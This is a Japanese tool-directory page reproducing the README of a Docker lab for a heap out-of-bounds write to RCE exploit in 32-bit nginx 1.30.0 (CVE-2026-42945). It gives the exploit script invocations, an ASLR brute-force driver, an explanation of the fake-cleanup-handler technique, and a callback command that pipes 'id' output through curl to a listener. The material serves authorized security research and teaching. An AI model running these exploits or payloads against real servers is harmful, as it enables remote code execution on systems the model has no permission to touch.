Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-42945-nginx32-lab — CVE-2026-42945 nginx 32-bit エクスプロイトラボ ASLR 有効 | Kitploit
ツール/GitHubGitHub/dinosn/cve-2026-42945-nginx32-lab
脆弱性分析エクスプロイトウェブセキュリティCTFペネトレーションテスト学習と教育バイナリエクスプロイトラボと実践
GitHubdinosn/cve-2026-42945-nginx32-lab

cve-2026-42945-nginx32-lab

CVE-2026-42945 nginx 32-bit エクスプロイトラボ ASLR 有効

リポジトリを見る
2143ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-42945 nginx 32-bit エクスプロイト実験環境

このリポジトリは、nginx 1.30.0 における CVE-2026-42945 を研究するための再現可能な Docker ラボです。脆弱な 32 ビットターゲット、プリミティブトリガー、ラボ支援型の既知アドレス RCE バリデータ、および内部情報を使用しないブルートフォースドライバが含まれています。

証明の境界が重要です:

  • exploit/trigger_oob.py は、ヒープ OOB 書き込みプリミティブを示します。
  • exploit/lab_known_address.py は、Docker 内で RCE メカニズムを証明しますが、docker exec 経由で /proc/<pid>/maps を読み取るため、ラボ支援型です。
  • exploit/remote_bruteforce.py は、SSH、Docker、/proc、ptrace、既知アドレスのいずれも使用しません。SAFE ヒープページ候補と libc ページ候補をブルートフォースし、外部へのコールバックを唯一の成功シグナルとして扱います。

リモートブルートフォース経路は、現在の nginx master の ASLR レイアウトに依然として依存しています。スプレーアドレスが要求される URI セーフなバイトアルファベットで表現できない場合、nginx master プロセスを再起動またはリロードして ASLR を振り直すまで、フルパスは失敗します。既知アドレスバリデータと同様に、フル RCE パスは、QEMU エミュレートされた Docker Desktop ターゲットではなく、ネイティブの x86 Linux Docker ホストで実行する必要があります。

必要条件

  • Compose 対応の Docker。
  • Linux/386 コンテナのサポート。
  • フル既知アドレス RCE バリデータを使用するには、 が nginx worker の実際の 32 ビットアドレスレイアウトを公開する、ネイティブの x86 Linux Docker ホストを使用してください。非 x86 ホスト上の Docker Desktop は、ターゲットを で実行する場合があります。これは OOB クラッシュの検証には十分ですが、既知アドレス RCE の計算には不十分です。
/proc/<pid>/maps
qemu-i386
  • エクスプロイトスクリプト用のホスト上の Python 3。
  • クイックスタート

    脆弱な 32 ビット nginx ラボをビルドして起動します:

    root@kitploit:~
    docker compose up -d --build
    curl http://127.0.0.1:19331/
    

    制御された OOB 書き込みをトリガーします:

    root@kitploit:~
    python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
    docker logs cve-2026-42945-nginx32 --tail 20
    

    決定的な Docker のみの RCE バリデータを実行します:

    root@kitploit:~
    python3 exploit/lab_known_address.py --restart-until-safe
    

    内部情報を使用しないブルートフォースドライバを実行します:

    root@kitploit:~
    python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
      --shuffle --seed 42945 \
      --attempt-delay 0.02 \
      --batch-size 5000 --batch-cooldown 10 \
      --progress-every 1000
    

    host.docker.internal はコールバックホストとして使用され、nginx worker に埋め込まれたコマンドが id の出力をエクスプロイトスクリプトによって起動されたリスナーに POST できるようにします。Compose ファイルは、Linux Docker エンジンのためにこの名前をマップします。

    エクスプロイトのウォークスルー

    1. ラボをビルドして起動する

    Build and start the 32-bit lab

    Compose ターゲットは nginx 1.30.0 を 32 ビットのリリーススタイルバイナリとしてビルドし、127.0.0.1:19331 で起動します。素の GET / は ok を返し、エクスプロイト開始前にターゲットに到達可能であることを示します。

    2. OOB 書き込みをトリガーする

    Trigger the vulnerable rewrite path

    トリガーは、+ バイトで構成されたキャプチャ済み URI セグメントを、脆弱な rewrite に続く set $myvar $1 パスを通じて送信します。+ は NGX_ESCAPE_ARGS によってエスケープされるため、コピーパスは 1 バイトの入力ごとに 3 バイトを書き込みます。スクリプトは、リクエストを送信する前に予想されるオーバーフローサイズを出力します。

    3. ラボ支援で RCE を検証する

    Validate the RCE mechanism with Docker-only assistance

    既知アドレスバリデータは意図的に支援型です。Docker コンテナから稼働中の worker のヒープと libc マッピングを読み取り、偽の cleanup ハンドラアドレスを計算し、同じワイヤーレベルのエクスプロイトシーケンスを送信して、コールバックを待ちます。uid=65534(nobody) という出力は、nginx worker が id を実行した結果です。このスクリーンショットはネイティブの x86 Docker 実行からのものです。非 x86 の Docker Desktop セットアップでは、スクリプトは代わりに qemu-i386 ネイティブホスト要件で停止する場合があります。

    4. リモート限定ブルートフォース経路を実行する

    Run the no-introspection brute-force path

    リモートブルートフォーススクリプトは、ラボ限定のアドレス読み取りを排除します。SAFE ヒープページ候補と libc ページ候補を列挙し、成功のオラクルとしてコールバックのみを使用します。コールバックなしでパスを使い果たしても、プリミティブが否定されるわけではありません。通常は、現在の nginx master レイアウトがこのペイロードのアルファベットにとって有利ではないか、ASLR を振り直すために master の再起動/リロードが必要であることを意味します。

    RCE シーケンスの仕組み

    エクスプロイトは 3 つの並行リクエストロールを使用します:

    1. /spray はリクエストボディの割り当てを存続させ、偽の ngx_pool_cleanup_t レコードとコールバックコマンドを nginx worker のヒープメモリに配置します。
    2. /api/<payload> は脆弱なリライトスクリプトに到達し、被害者リクエストが配置されるまで最終リクエストターミネータを遅延させます。
    3. / は隣接するリクエストプールを作成し、その cleanup ポインタが制御された OOB 書き込みのターゲットになります。

    破損したリクエストプールが破棄されると、nginx は上書きされた cleanup ポインタをたどります。ラボ RCE パスでは、偽の cleanup ハンドラが system() を指し、そのデータポインタが次を指します:

    root@kitploit:~
    id|curl -sm3 -d @- http://host.docker.internal:9876/rce
    

    エクスプロイトリスナーは、その POST を唯一の RCE 成功シグナルとして扱います。

    クリーンアップ

    root@kitploit:~
    docker compose down
    

    安全上の注意

    このラボは、許可されたセキュリティ検証と教育を目的としています。ラボを隔離したままにし、ラボのポートを信頼できないネットワークに公開せず、所有していない、または明示的なテスト許可がないシステムに対してエクスプロイトを実行しないでください。

    ツールをダウンロード